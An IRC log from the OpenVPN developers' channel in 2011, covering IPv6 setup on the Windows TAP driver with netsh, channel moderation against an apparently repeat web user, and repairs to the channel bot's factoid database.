settings.in:!define PRODUCT_TAP_RELDATE "04/19/2010" 09:20 < cron2> ok, that should be working. I thought the last change was "somewhere end of 2010", but indeed, it wasn't. 09:21 < cron2> ok, I think you need to check with ethereal to pinpoint where the v6 packet is not passing by 09:21 <+ecrist> iirc, there's a newer version of TAP in git head than in 2.2.1 release 09:22 < cron2> no 09:22 < cron2> the line quoted above is from git head 09:22 < Veryevil> ok 09:23 < cron2> (well, from git head about 4 weeks ago, but nothing has changed in the windows department since then) 09:23 * ecrist bows his head in shame 09:24 < cron2> nobody wants to touch the tap driver stuff 09:26 * cron2 hasn't tested the stuff on x64 yet (and has no test system right now :( ), but I think the code should be 64-bit-safe 09:26 < Veryevil> I was trying to use the head versino but have been unable to compile it 09:26 < cron2> aaah 09:26 < cron2> there's a trick to it 09:27 < cron2> since windows still believes "this is an ethernet" it tries to do neighbour discovery, and the driver spoofs that - but only(!) if the next-hop address is fe80::8 09:27 < cron2> mmh 09:28 < cron2> while that is necessary to make it actually work for "data traffic", the tun client should definitely *see* all other IPv6 packets 09:28 < cron2> and there really isn't anything that could fail due to 32/64 bit mismatch 09:29 < Veryevil> I am still not seeing pings on wireshark 09:29 < Veryevil> I can see ip4 to 10.3.0.x 09:29 < cron2> before you can see pings, you need to see neighbour discovery packets 09:29 < cron2> if you don't see those either, something in your interface config is borked 09:29 < Veryevil> not seeing any 09:30 < cron2> how do you configure ipv6? 09:30 < Veryevil> using the windows interface at the min could use netsh 09:31 < Veryevil> I set its IP to aaaa::1\64 09:31 < cron2> what does "netsh interface ipv6 show" tell you? 09:31 < cron2> aaaa: is not valid unicast address space 09:32 < cron2> it needs to start with "2" or "3", or "fc" 09:32 < cron2> try 2001:db8::1/64 (that's the "documentation prefix") 09:33 < cron2> openvpn uses "netsh interface ipv6 set address 'tapname' 2001:db8::1/64 store=active" 09:34 < Veryevil> Ah! ok on 2001:db8::1 I seem to get the neighbour solicitations 09:35 < cron2> this is better :) 09:36 < Veryevil> why does it have to be a unicast address? why can I not choose aaaa::1? 09:36 < cron2> (I *love* ethereal, even if it is an "evil hacker tool!") 09:36 < cron2> Veryevil: because Windows doesn't know what sort of address that is - it's like trying to configure an interface to 240.0.0.1 in IPv4. It's not defined how to handle these addresses 09:37 < cron2> so it might work, if the OS just assumes "I don't know otherwise, so I assume it's normal unicast space" or it might fail "I don't know anything, so I can't assume anything either" 09:37 < Veryevil> oh ok 09:38 < cron2> if you install IPv6 routes, the next-hop address MUST be fe80::8 due to the way the driver handles spoofed neighbour discovery 09:38 < Veryevil> Is there a way of bringing up the tun interface without ipv4? 09:39 < cron2> didn't look closely into that code yet, but since the IPv4 address is part of the ioctl() argument, I assume "no" 09:40 < Veryevil> I assumed so. There doesn't seem to be anywhere to define the IPv6 address in _TapAdapter 09:40 < cron2> this bit will be addressed when openvpn learns to run IPv6-only (which currently just isn't there) 09:40 < cron2> Veryevil: it's not needed to define the address, as the "magic" address is fe80::8 and that's the same on all systems 09:40 < cron2> the tap driver only needs to know the magic address to be able to spoof ARPs 09:41 < cron2> (oh, and to spoof DHCP, if you set the windows side of the tap driver to use DHCP for IPv4) 09:41 < Veryevil> so to forward any 2001::\64 packet through i need to add a route to fe80::8 in windows 09:41 < cron2> you could try to just turn off IPv4 in the windows settings for the tap driver, and then it doesn't matter what you pass in the ioctl() 09:41 < cron2> yes 09:42 < Veryevil> Great 09:42 < cron2> netsh interface ipv6 add route 2001::/32 'My Tun' fe80::8 09:43 < cron2> (as this is an "ethernet", windows need to know a gateway address, and will do neighbour discovery for the GW addr - and fe80::8 is the magic address that the tap driver has learned to handle) 09:44 < cron2> thanks for asking, good opportunity to refresh my memories :) 09:45 < Veryevil> thats great. we were using the windows loopback adapter but it was a pile of shit! 09:47 < cron2> you can tap into the loopback adapter? Amazing :) 09:47 < Veryevil> apparently I didn't write the code 09:48 < Veryevil> I think he was using winPcap on the interface and pulling the packets that way 09:48 < cron2> yes, that would work, but it's not exactly pretty either :) 09:48 < Veryevil> no it wasn't which is why I took over 09:48 < Veryevil> unfortunatly my IPv6 knowledge let me down 09:49 < Veryevil> it was also him that chose the aaaa::1 09:49 < Veryevil> choose* 09:50 < cron2> feel free to send IPv6 questions my way :) (but I won't always be around, 1.2 year old daughter plus day jobs don't leave much time for open source stuff these days :( ) 09:51 < Veryevil> thanks I'm working with 6lowpan so lots of IPv6 09:52 < cron2> cool. Wish I had time to play with wireless gadget thingies :) 09:53 < Veryevil> Its my job! 09:54 < Veryevil> the TUN adpater is gonna be a tcp server which uses slip to talk to freescale wireless chips using a remote serial port 09:54 < cron2> now that sounds a bit scary :-) 09:55 < cron2> anyway, need to go and bake a cake (mom's birthday party tomorrow) 09:55 < Veryevil> its gonna connect to multiple gateways using SSL each of which will have up to 500 nodes on the end that need to be pinged / have commands sent to from the server 09:55 < Veryevil> no worries you have been great. Thanks so much 09:59 -!- Veryevil [~Veryevil@83.166.186.218] has quit [] 11:45 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:45 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:46 -!- patelx [~a@openvpn/corp/admin/patel] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 11:56 -!- patelx [~a@openvpn/corp/admin/patel] has joined #openvpn-devel 11:57 -!- mode/#openvpn-devel [+o patelx] by ChanServ 12:27 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 12:27 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 12:27 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:27 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:36 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 13:04 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:04 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 14:00 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Remote host closed the connection] 14:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 14:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 14:49 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 14:49 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 14:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:41 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 19:51 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 19:51 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 19:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 19:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sat Jul 30 2011 05:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 05:26 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 05:26 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 05:26 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:26 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:48 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 05:48 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 05:48 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 05:48 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 05:48 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:59 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 06:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 06:06 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:55 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 16:15 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 16:15 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 16:15 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 16:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:18 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 240 seconds] 16:30 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 18:36 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 264 seconds] 19:43 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 19:43 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 19:43 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel --- Day changed Sun Jul 31 2011 03:24 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 03:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:28 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Client Quit] 03:29 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 03:29 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 03:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 03:30 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:54 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:29 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 22:29 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 22:29 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:29 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Aug 01 2011 00:35 -!- dazo_afk is now known as dazo 03:37 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:37 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:39 <@dazo> mattock: andj: Great progress on the PolarSSL patches on Thursday! 03:39 <@mattock> thanks! 03:39 <@mattock> it'll take a few meeting more to get all sorted out 03:39 <@mattock> but definitely good progress 03:40 <@dazo> yeah! If andj and james want to continue on Thursday with more verification functions, I don't mind continuing on that path ... it's a lot of heavy stuff there, but having james eyes on it is definitely great! 03:41 <@dazo> In that case, I'll stay low and can manage to maybe get more other workload done 03:41 * dazo is not too comfortable with the size of his TODO list 03:43 <@dazo> andj: I'm thinking about merging in the crypto separation patches .... will that break OpenVPN until all the other SSL patches are applied? Or can these groups you've split all the patches into be merged individually? 07:21 -!- janjust [~janjust@ardeche.nikhef.nl] has joined #openvpn-devel 07:21 -!- janjust [~janjust@ardeche.nikhef.nl] has quit [Changing host] 07:21 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 07:21 -!- mode/#openvpn-devel [+v janjust] by ChanServ 08:52 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: *puff*] 08:54 -!- dazo [~dazo@nat/redhat/x-xurjoxvvysfpztha] has joined #openvpn-devel 08:54 -!- dazo [~dazo@nat/redhat/x-xurjoxvvysfpztha] has quit [Changing host] 08:54 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:54 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:00 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: *puff*] 09:01 -!- dazo [~dazo@nat/redhat/x-ygrgjffcemebedba] has joined #openvpn-devel 09:01 -!- dazo [~dazo@nat/redhat/x-ygrgjffcemebedba] has quit [Changing host] 09:01 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:01 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:27 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 10:39 -!- dazo is now known as dazo_afk 11:21 <@andj> dazo: no, it shouldn't hurt 11:24 <@andj> the groups I split them into can be applied independently 12:23 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 12:24 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 12:24 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 12:24 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:34 -!- raidz1 is now known as raidz 12:34 -!- raidz [~Administr@50-76-49-94-ip-static.hfc.comcastbusiness.net] has quit [Changing host] 12:35 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 12:35 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:58 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 14:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:59 -!- mode/#openvpn-devel [+o mattock] by ChanServ 18:35 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 23:44 -!- flowerboy [775d3322@gateway/web/freenode/ip.119.93.51.34] has joined #openvpn-devel 23:45 < flowerboy> do we have update on icmp? 23:50 < flowerboy> do we have update on icmp? 23:54 -!- flowerboy [775d3322@gateway/web/freenode/ip.119.93.51.34] has quit [Quit: Page closed] --- Day changed Tue Aug 02 2011 00:16 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 00:16 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 00:16 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 00:16 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:16 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:41 -!- dazo_afk is now known as dazo 03:12 -!- Veryevil [~Veryevil@83.166.186.218] has joined #openvpn-devel 04:15 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 240 seconds] 04:16 <@dazo> ecrist: do you know if flowerboy and genlime is the same person? 04:17 <@dazo> andj: thx! Then I'll try to get the approved "blocks" into the tree soonish too 04:23 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 05:02 -!- raidz [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 05:03 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 05:03 -!- mode/#openvpn-devel [+o raidz] by ChanServ 05:49 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 252 seconds] 06:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 06:30 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:30 -!- mode/#openvpn-devel [+o mattock] by ChanServ 06:38 -!- genlime [475e9252@gateway/web/freenode/ip.71.94.146.82] has joined #openvpn-devel 06:38 < genlime> hello, any icmp protocol update ? 06:50 -!- genlime [475e9252@gateway/web/freenode/ip.71.94.146.82] has left #openvpn-devel [] 07:01 <+ecrist> dazo: let me look 07:01 <+ecrist> oh, no, they don't appear to be. 07:02 <@dazo> it's just genlime and flowerboy is messing about the same ... and I told genlime in pretty clear language ICMP is not being worked on from our side 07:02 <@dazo> !learn icmp as genlime/flowerboy: If somebody provides patches for inclusion to the mailing list, they will be considered. Until that happens, ICMP is not being worked on 07:02 <@vpnHelper> Joo got it. 07:03 <+ecrist> lol 07:03 <+ecrist> they come from drastically different IPs... 07:04 <@dazo> hmm ... what about gateway/web/freenode? 07:04 <+ecrist> dazo: http://pastebin.com/piiiBFQv 07:04 <@dazo> both via web-IRC? .... if so, could be some proxy stuff ... maybe even TOR 07:04 <+ecrist> they *ARE* the same person 07:05 * dazo sensed it 07:05 <+ecrist> let me fix things, gimme a few minutes 07:06 <@dazo> thx 07:10 -!- mode/#openvpn-devel [+tr] by ChanServ 07:10 <+ecrist> there you go 07:11 <@dazo> thx! 07:11 <@dazo> LOL ... A crazy Swede: http://translate.google.com/translate?js=n&prev=_t&hl=en&ie=UTF-8&layout=2&eotf=1&sl=auto&tl=en&u=http%3A%2F%2Fkvp.expressen.se%2Fnyheter%2F1.2515723%2F31-aring-greps-for-bygge-av-karnreaktor-i-koket 07:11 <@vpnHelper> Title: Google Translate (at translate.google.com) 07:11 <+ecrist> now only identified users can join this channel 07:12 <@dazo> that makes sense 07:12 <+ecrist> neither flowerboy or genlime are registered. 07:12 <@dazo> this channel is also not primarily for "drop-by" people 07:13 <+ecrist> right, which is why I figured +r is OK 07:13 <@dazo> yeah, thx! ... you might want to consider that '!learn' for #openvpn then :-P 07:15 <+ecrist> iirc shared db for factoids between the two channels 07:15 <@dazo> I don't think that really works 07:15 <@dazo> nope 07:15 * ecrist looks 07:15 <+ecrist> they should be the same 07:16 <+ecrist> unless we want them the same 07:16 <+ecrist> different, rather 07:18 <+ecrist> thoughts? 07:18 <@dazo> I dunno ... probably doesn't matter now ... it's not that much we use factoids here ... 07:18 <@dazo> so if it is shared, that might be a benefit 07:19 <+ecrist> let me set it up 07:20 <+ecrist> should be linked now 07:21 <+ecrist> old dev db was moved. 07:21 <+ecrist> too lazy to merge them. 07:21 <+ecrist> !as 07:21 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server 07:21 <@dazo> !icmp 07:21 <@dazo> :-P 07:21 <@dazo> !git 07:21 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git,, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git 07:21 <@dazo> !snapshot 07:21 <@dazo> !snapshots 07:21 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch 07:22 <@dazo> !meetings 07:22 <@dazo> ecrist: can you send me the old DB ... and I'll do some simple moves of the important stuff 07:22 <+ecrist> sure 07:24 <+ecrist> dazo: http://secure-computing.net/files/Factoids-old.db 07:26 <@dazo> !learn list as https://lists.sourceforge.net/lists/listinfo/openvpn-devel 07:26 <@vpnHelper> Joo got it. 07:26 <@dazo> !learn mailinglist as https://lists.sourceforge.net/lists/listinfo/openvpn-devel 07:26 <@vpnHelper> Joo got it. 07:27 <@dazo> !learn ml as See !mailinglist 07:27 <@vpnHelper> Joo got it. 07:27 <@dazo> !learn trac as https://community.openvpn.net/openvpn/report 07:27 <@vpnHelper> Joo got it. 07:27 <@dazo> !learn wishlist as Forum users wishlist: https://forums.openvpn.net/viewforum.php?f=10 07:27 <@vpnHelper> Joo got it. 07:28 <@dazo> !learn meetings as OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 07:28 <@vpnHelper> Joo got it. 07:28 <@dazo> !git 07:28 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git,, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git 07:29 <@dazo> !git-doc 07:29 <@vpnHelper> "git-doc" is (#1) For a good git documentation, see http://progit.org/book/, or (#2) For a very quick git crash course, see https://community.openvpn.net/openvpn/wiki/GitCrashCourse 07:29 <@dazo> !ml 07:30 <@dazo> !git-doc 07:30 <@vpnHelper> "git-doc" is (#1) For a good git documentation, see http://progit.org/book/, or (#2) For a very quick git crash course, see https://community.openvpn.net/openvpn/wiki/GitCrashCourse 07:30 <@dazo> !mailinglist 07:30 <@dazo> hmmm 07:30 <@dazo> !list 07:31 <@vpnHelper> Admin, BadWords, Channel, ChannelLogger, Config, Factoids, FloodPrevent, Google, Misc, Owner, Relay, Seen, Services, User, and Web 07:31 <@dazo> !trac 07:31 <@vpnHelper> "trac" is (#1) see http://community.openvpn.net for development information and bug tracker., or (#2) if you have a forum login, use that for trac, its the same database 08:31 <+krzee> !mail 08:31 <@vpnHelper> "mail" is (#1) http://sourceforge.net/mail/?group_id=48978, or (#2) http://news.gmane.org/gmane.network.openvpn.user for the openvpn-users archive 08:31 <+krzee> any time you end a factoid in a link, it gets screwed up 08:31 <+krzee> !git 08:31 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git,, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git 08:32 <@dazo> yeah, I think vpnHelper need to be restarted 08:32 <+krzee> if i click any of those links, a comma attaches and breaks the link 08:32 <+krzee> no its running fine 08:32 <+krzee> why do you think it needs a restart? 08:33 <@dazo> ecrist moved the database reference, to use a shared db ... and some of the new stuff I added haven't appeared anywhere 08:33 <+krzee> !meetings 08:33 <+krzee> oh i see 08:33 <+krzee> !factoids search meetings 08:33 <@vpnHelper> "meetings" is (#1) See https://community.openvpn.net/openvpn/wiki/IrcMeetings, or (#2) OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings, or (#3) OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. 08:33 <@vpnHelper> Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 08:34 <+krzee> !factoids whatis meetings 08:34 <@vpnHelper> "meetings" is (#1) See https://community.openvpn.net/openvpn/wiki/IrcMeetings, or (#2) OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings, or (#3) OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. 08:34 <@vpnHelper> Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 08:34 <+krzee> !meetings 08:34 <@dazo> !ml 08:34 <+krzee> hrm, weird 08:34 <+krzee> i can restart, but i dont think it'll help 08:34 <@dazo> hmm 08:35 <+krzee> cant hurt tho i guess 08:35 <@dazo> I thought it would be some file descriptors still being attached to the old db ... but then again, that shouldn't make the lookups fail totally 08:35 * dazo dunno what's going on now 08:36 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 08:36 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 08:36 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 08:36 <+krzee> !meetings 08:36 <+krzee> !factoids whatis meetings 08:36 <@vpnHelper> Error: No factoid matches that key. 08:36 <+krzee> heh 08:37 <+krzee> didnt save 08:38 <+krzee> !git-doc 08:38 <@vpnHelper> "git-doc" is (#1) For a good git documentation, see http://progit.org/book/, or (#2) For a very quick git crash course, see https://community.openvpn.net/openvpn/wiki/GitCrashCourse 08:38 <+krzee> !wishlist 08:38 <@vpnHelper> How to modify the code and build it using msys for Windows || Clear example || firewall for blocking ddos attacks || Non-Admin usage of OpenVPN on Windows || my wish || suggested MSS feature for "proto tcp" operation || Please fix Win32/64bit Tap Tunnel Adapter!!! || OpenVPN over ICMP || my other wish || my wish - Push Option || Add product version information to the windows binaries 08:38 <@vpnHelper> || Kill The Resources Being Used By OpenVPN Desktop Client || passtos working on windws || common-name-as-username || --shaper and --server together || Windows auto-connect when starting gui || sctp implementation in openvpn || OpenVPN on a Nokia phone with Symbian^3 || Multicast support in tap-win32 (with patch) || OpenVPN to filter DHCP requests in bridge mode || my wish || 08:38 <@vpnHelper> cryptoapicert and ca || Root Permission Restart || Reject pushed directives (eg. routes) via client config || openvpn and a different ntlm auth || Port Hopping... || FIPS-compliant OpenVPN || Symbian^3 support || Windows Client Source Code + Build Instructions || Define one or more networks on one OpenVPN instance || Compiling OpenVPN v2.1.2 with enable-password-save option || OpenVPN (1 more message) 08:38 <+krzee> meh 08:38 <@dazo> heh 08:38 <@dazo> !snapshots 08:38 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn, or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch 08:38 <@dazo> !meetings 08:39 <@dazo> duh 08:39 <+krzee> INFO 2011-08-02T08:38:56 Not replying to meetings, not a command. 08:39 <@dazo> !learn meetings as OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 08:39 <@vpnHelper> Joo got it. 08:39 <@dazo> !meetings 08:39 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 08:39 <+krzee> never end factoids with links 08:40 <+krzee> it screws up the link when you make the next factoid 08:40 <+krzee> because it appends a comma to the end of each factoid except the last 08:40 <@dazo> ahh, true ... well, this was a copy paste from the old one :) 08:40 <+krzee> !meetings 08:40 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 08:42 <+ecrist> *real* irc clients don't mind the commas... 08:43 <+krzee> ecrist, this is for users, not for you or i 08:43 <@dazo> hehe ... well, some people do copy-paste from a terminal, and get that additional comma even with a *real* irc client ;-) 08:43 <+ecrist> fuck them. ;) 08:43 <@dazo> hehe 08:43 <+krzee> we cant even get them to stop using 2.1rc11 and you wanna mandate using "real irc clients" ? ;) 08:44 * ecrist true BOFH 08:44 <@dazo> lol 08:44 <@dazo> ecrist: do you think I was to hash on genlime? ... he suddenly went very quiet ... 08:44 <+ecrist> not at all 08:45 <+ecrist> really, it was what we were looking for 08:45 <+ecrist> 07:38:44 -!- genlime [475e9252@gateway/web/freenode/ip.71.94.146.82] has quit [Ping timeout: 252 seconds 08:45 <+ecrist> :D 08:45 <@dazo> heh 08:45 <+krzee> i have no input... i couldnt see anything he said 08:45 <+krzee> i *love* my webuser ignore 08:46 <@dazo> hehe ... you just saw my rant and thought "wtf!?" ;-) 08:46 <+krzee> :-D 08:47 <+krzee> you addressed it to him, im used to seeing people talk to themselves while addressing webusers 08:47 <@dazo> :) 08:47 <+krzee> makes me smile every time, especially because everyone always hates the webusers (same reason i added it to ignore) 08:48 <+krzee> they never add to a conversation 08:48 <@dazo> nope ... and even less code, which I care about nowadays :) 09:08 <+ecrist> we could just not allow them into the channel to begin with... 09:23 <+krzee> ya, definitely an option 09:24 <+krzee> my ignore makes my vote on that obvious 09:39 <@andj> !meetings 09:39 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 09:41 <@andj> Hmm, anyone remember whether we'd planned the meeting for this evening or Wednesday? 09:41 <@andj> the sprint that is 09:41 <@andj> mattock? 09:41 <@dazo> I think Thursday was the next one, iirc 09:42 * dazo might not be updated, though 09:42 <@andj> I won't be there on Thursday, so I'd asked whether we could move it to today or tomorrow 09:42 <@andj> and I remember people saying yes, but I can't remember to what day 09:43 <@andj> initially it was today, but jamesyonan prefered tomorrow 09:43 <@andj> I'll just assume it's tomorrow, and lurk a little at 17:00/18:00/19:00 09:44 <@dazo> ahh, oh sorry .. then I'm not updated at all 09:44 * dazo got busy schedule this week as well 09:45 <@andj> same story, mostly openvpn related though... Getting some tests/automated builds up and running 09:49 * ecrist notes he built a VM host, and nobody is using it. 09:49 <+ecrist> at the time, it seemed like an emergency, 'oh noes!' situation... 09:50 <@dazo> ecrist: if it was openvpn related ... it seldom is that urgent :) 09:50 <+ecrist> heh 09:50 * dazo have forgotten which situation this was related to ... 09:52 <+ecrist> don't recall, apparently some VPS providers quadrupled their costs, so we lost some VPS we were using for testing or builds or something. 09:52 <+ecrist> so, I got an HP machine donated to me and set it up. 09:54 <@dazo> ahh ... could have been our test server, which we (planned to?) used during the build process, to test the built binaries automatically 10:02 -!- Veryevil [~Veryevil@83.166.186.218] has quit [] 11:23 <@mattock> dazo: can you attend tomorrow's meeting? 11:23 <@mattock> yeah, it was the test server 11:23 <@mattock> it was taken offline a few days ago 11:24 <@dazo> mattock: I'm sorry, I won't manage that 11:25 * dazo is about to conclude NIC testing at work, and need to try to complete as much as possible by Friday 11:40 <@mattock> dazo: no prob 11:47 -!- dazo is now known as dazo_afk 12:29 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:35 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:35 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:05 -!- EvilJStoker [jstoker@unaffiliated/jstoker] 